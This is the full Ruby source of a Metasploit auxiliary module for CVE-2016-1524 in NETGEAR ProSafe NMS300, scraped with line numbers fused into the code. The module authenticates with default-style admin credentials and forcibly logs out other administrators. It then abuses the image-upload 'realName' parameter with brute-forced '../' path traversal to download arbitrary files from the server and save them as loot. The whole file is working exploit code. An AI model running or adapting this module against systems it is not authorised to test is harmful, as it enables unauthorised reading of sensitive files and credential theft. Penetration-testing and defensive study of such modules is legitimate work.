Path: blob/master/modules/auxiliary/admin/http/netgear_auth_download.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Report7include Msf::Exploit::Remote::HttpClient89def initialize(info = {})10super(11update_info(12info,13'Name' => 'NETGEAR ProSafe Network Management System 300 Authenticated File Download',14'Description' => %q{15Netgear's ProSafe NMS300 is a network management utility that runs on Windows systems.16The application has a file download vulnerability that can be exploited by an17authenticated remote attacker to download any file in the system.18This module has been tested with versions 1.5.0.2, 1.4.0.17 and 1.1.0.13.19},20'Author' => [21'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and updated MSF module22],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2016-1524'],26['US-CERT-VU', '777024'],27['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/netgear_nms_rce.txt'],28['URL', 'https://seclists.org/fulldisclosure/2016/Feb/30']29],30'DisclosureDate' => '2016-02-04',31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [IOC_IN_LOGS],34'Reliability' => []35}36)37)3839register_options(40[41Opt::RPORT(8080),42OptString.new('TARGETURI', [true, 'Application path', '/']),43OptString.new('USERNAME', [true, 'The username to login as', 'admin']),44OptString.new('PASSWORD', [true, 'Password for the specified username', 'admin']),45OptString.new('FILEPATH', [false, 'Path of the file to download minus the drive letter', '/Windows/System32/calc.exe']),46]47)4849register_advanced_options(50[51OptInt.new('DEPTH', [false, 'Max depth to traverse', 15])52]53)54end5556def authenticate57res = send_request_cgi({58'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),59'method' => 'POST',60'vars_post' => {61'userName' => datastore['USERNAME'],62'password' => datastore['PASSWORD']63},64'vars_get' => { 'method' => 'login' }65})6667if res && res.code == 20068cookie = res.get_cookies69if res.body.to_s =~ /"loginOther":true/ && res.body.to_s =~ /"singleId":"([A-Z0-9]*)"/70# another admin is logged in, let's kick him out71res = send_request_cgi({72'uri' => normalize_uri(datastore['TARGETURI'], 'userSession.do'),73'method' => 'POST',74'cookie' => cookie,75'vars_post' => { 'singleId' => ::Regexp.last_match(1) },76'vars_get' => { 'method' => 'loginAgain' }77})78if res && res.code == 200 && (res.body.to_s !~ /"success":true/)79return nil80end81end82return cookie83end84return nil85end8687def download_file(download_path, cookie)88filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.img'89begin90res = send_request_cgi({91'method' => 'POST',92'cookie' => cookie,93'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),94'vars_get' => {95'method' => 'add'96},97'vars_post' => {98'realName' => download_path,99'md5' => '',100'fileName' => filename,101'version' => Rex::Text.rand_text_alphanumeric(rand(8..9)),102'vendor' => Rex::Text.rand_text_alphanumeric(rand(4..6)),103'deviceType' => rand(999),104'deviceModel' => Rex::Text.rand_text_alphanumeric(rand(5..7)),105'description' => Rex::Text.rand_text_alphanumeric(rand(8..17))106}107})108109if res && res.code == 200 && res.body.to_s =~ /"success":true/110res = send_request_cgi({111'method' => 'POST',112'cookie' => cookie,113'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'getPage.do'),114'vars_get' => {115'method' => 'getPageList',116'type' => 'configImgManager'117},118'vars_post' => {119'everyPage' => rand(500..1498)120}121})122123if res && res.code == 200 && res.body.to_s =~ /"imageId":"([0-9]*)","fileName":"#{filename}"/124image_id = ::Regexp.last_match(1)125return send_request_cgi({126'uri' => normalize_uri(datastore['TARGETURI'], 'data', 'config', 'image.do'),127'method' => 'GET',128'cookie' => cookie,129'vars_get' => {130'method' => 'export',131'imageId' => image_id132}133})134end135end136return nil137rescue Rex::ConnectionRefused138print_error("#{peer} - Could not connect.")139return140end141end142143def save_file(filedata)144vprint_line(filedata.to_s)145fname = File.basename(datastore['FILEPATH'])146147path = store_loot(148'netgear.http',149'application/octet-stream',150datastore['RHOST'],151filedata,152fname153)154print_good("File saved in: #{path}")155end156157def run158cookie = authenticate159if cookie.nil?160fail_with(Failure::Unknown, "#{peer} - Failed to log in with the provided credentials.")161else162print_good("#{peer} - Logged in with #{datastore['USERNAME']}:#{datastore['PASSWORD']} successfully.")163store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'], proof: cookie) # more consistent service_name and protocol164end165166if datastore['FILEPATH'].blank?167fail_with(Failure::Unknown, "#{peer} - Please supply the path of the file you want to download.")168return169end170171filepath = datastore['FILEPATH']172res = download_file(filepath, cookie)173if res && res.code == 200 && res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)174save_file(res.body)175return176end177178print_error("#{peer} - File not found, using bruteforce to attempt to download the file")179count = 1180while count < datastore['DEPTH']181res = download_file(('../' * count).chomp('/') + filepath, cookie)182if res && res.code == 200 && res.body.to_s.bytesize != 0 && (res.body.to_s !~ /This file does not exist./) && (res.body.to_s !~ /operation is failed/)183save_file(res.body)184return185end186count += 1187end188189print_error("#{peer} - Failed to download file.")190end191end192193194